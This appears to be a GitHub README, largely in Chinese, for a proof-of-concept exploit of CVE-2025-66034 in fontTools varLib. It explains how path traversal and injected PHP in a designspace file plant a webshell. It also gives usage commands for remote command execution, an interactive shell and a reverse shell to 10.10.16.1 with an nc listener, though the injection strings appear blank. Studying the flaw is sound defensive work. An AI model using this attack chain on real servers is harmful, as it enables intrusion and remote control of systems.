tristanqtn/CVE-2025-66034
GitHub: tristanqtn/CVE-2025-66034
针对 fontTools varLib 模块任意文件写入漏洞(CVE-2025-66034)的概念验证利用工具,可实现远程代码执行。
Stars: 0 | Forks: 0
# CVE-2025-66034 — fontTools varLib 任意文件写入
## 漏洞描述
fontTools 是一个用于操作字体文件的 Python 库。其 `varLib` 模块用于处理 `.designspace` 文件 —— 这是一种 XML 格式,用于描述如何通过插值多个字体 master 来生成可变字体。
受影响版本存在两个弱点:
**1. 未净化的输出文件名**
designspace 文件中的 `` 属性控制 `varLib` 将编译后的输出字体写入何处。该库在将此路径传递给文件系统之前,未对其进行任何验证或规范化处理。攻击者可以提供绝对路径或路径遍历序列,将输出文件写入进程具有写入权限的任何位置。
**2. XML 内容直接传入输出**
fontTools 将 `` 元素中的 axis 标签名称直接作为原始字节序列化到输出字体的名称表中,未对内容进行净化。放置在 `` 块内的任何字符串 —— 包括 PHP 代码 —— 都会逐字出现在写入的文件中。
这两个弱点结合在一起,允许能够向 fontTools 支持的 Web 端点提交 designspace 文件的攻击者,在服务器上任何可写入的路径下写入包含任意内容的任意文件。
## 攻击链
### 步骤 1 — 构造恶意 designspace
该 designspace 文件包含两处注入。
第一处位于 `` 元素中:
```
]]]]>]]>
```
XML 中的 CDATA 节允许包含无需实体转义的任意字符数据,但其本身不能包含 `]]>` 序列,因为该序列会终止 CDATA 节。PHP 闭合标签 `?>` 如果直接写入会导致解析错误。序列 `]]]]>` 在 `]]` 之后立即关闭一个 CDATA 节,并开启一个新的以 `>` 开头的 CDATA 节,因此最终呈现的内容是 `` —— 语法上有效的 PHP —— 且从未触发 XML 解析器错误。
第二处注入位于输出路径:
```
```
fontTools 直接从此字符串构建输出文件句柄,未进行任何路径规范化。文件将在该确切位置被创建。
### 步骤 2 — 提供有效的 TTF master
`varLib` 至少需要一个源字体才能进行编译。该 master 不需要是真实字体 —— 一个包含单个空白字形的最小化 TTF 即可通过验证。此漏洞利用中嵌入的 base64 TTF 是使用 fontTools `FontBuilder` 生成的,仅包含一个带有方形轮廓的 `.notdef` 字形以及最低限度的必要表(`head`, `hhea`, `OS/2`, `cmap`, `glyf`, `hmtx`, `name`, `post`)。
### 步骤 3 — POST 到处理器端点
该漏洞利用将 designspace 和 TTF 作为 `multipart/form-data` POST 请求提交到 Web 应用程序的字体生成端点。服务器将文件传递给 `varLib.build()`。varLib 解析 designspace,读取 master,编译可变字体,并将其写入 `filename=` 指定的路径 —— 即 Web 根目录。
### 步骤 4 — 通过 webshell 执行命令
写入的文件是一个嵌入了 PHP 载荷的二进制字体文件。PHP 的解析器会扫描文件查找起始标签,而不要求文件完全由 PHP 组成。当 Web 服务器将该文件作为 PHP 处理时,它会找到 `` 并执行它。标签前后的所有内容均按原样输出并被忽略。
### 步骤 5 — 从响应中提取输出
响应体是原始的字体二进制数据。命令输出位于 fontTools 写入名称表的两个可预测标记之间:
- `TestWeight400` —— 源自嵌入的 master TTF 中的家族和字重类字段
- `]]>ThinMEOW2` —— 源自 designspace 中法语的 `` 元素
该漏洞利用在这两个字符串之间截取响应,并使用 BeautifulSoup 剥离残留的 XML 标签,以生成干净的命令输出。
## 环境要求
```
pip install requests beautifulsoup4
```
## 用法
三个目标参数均为必填项。未硬编码任何默认值。
```
--process-url Full URL of the font processor endpoint
--shell-url Full URL where the webshell will be reachable after the write
--write-path Filesystem path the server will write the shell to
```
可选项:
```
--session PHPSESSID cookie value (if the portal requires authentication)
--no-plant Skip the upload step (shell already planted)
--hostname Label shown in the interactive prompt
```
### 执行单条命令
```
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
exec 'id'
```
### 交互式伪 shell
```
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
--session YOUR_PHPSESSID \
--hostname webserver \
interactive
```
### 反弹 shell
首先启动监听器:
```
nc -lvnp 4444
```
然后触发:
```
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
revshell 10.10.16.1 4444
```
反弹 shell 载荷在传输前进行了 base64 编码,以避免在 `cmd` 查询参数内部出现 shell 元字符转义问题。
存在于 `varLib` 模块的 `build()` 函数和 designspace 解析器中。
标签:0day, CISA项目, CVE-2025-66034, Exploit, fontTools, OpenVAS, PHP, PoC, Splunk, WebShell, XML攻击, 任意文件写入, 字体处理安全, 攻击链, 文件包含漏洞, 暴力破解, 漏洞复现, 网络信息收集, 网络安全, 路径遍历, 逆向工具, 隐私保护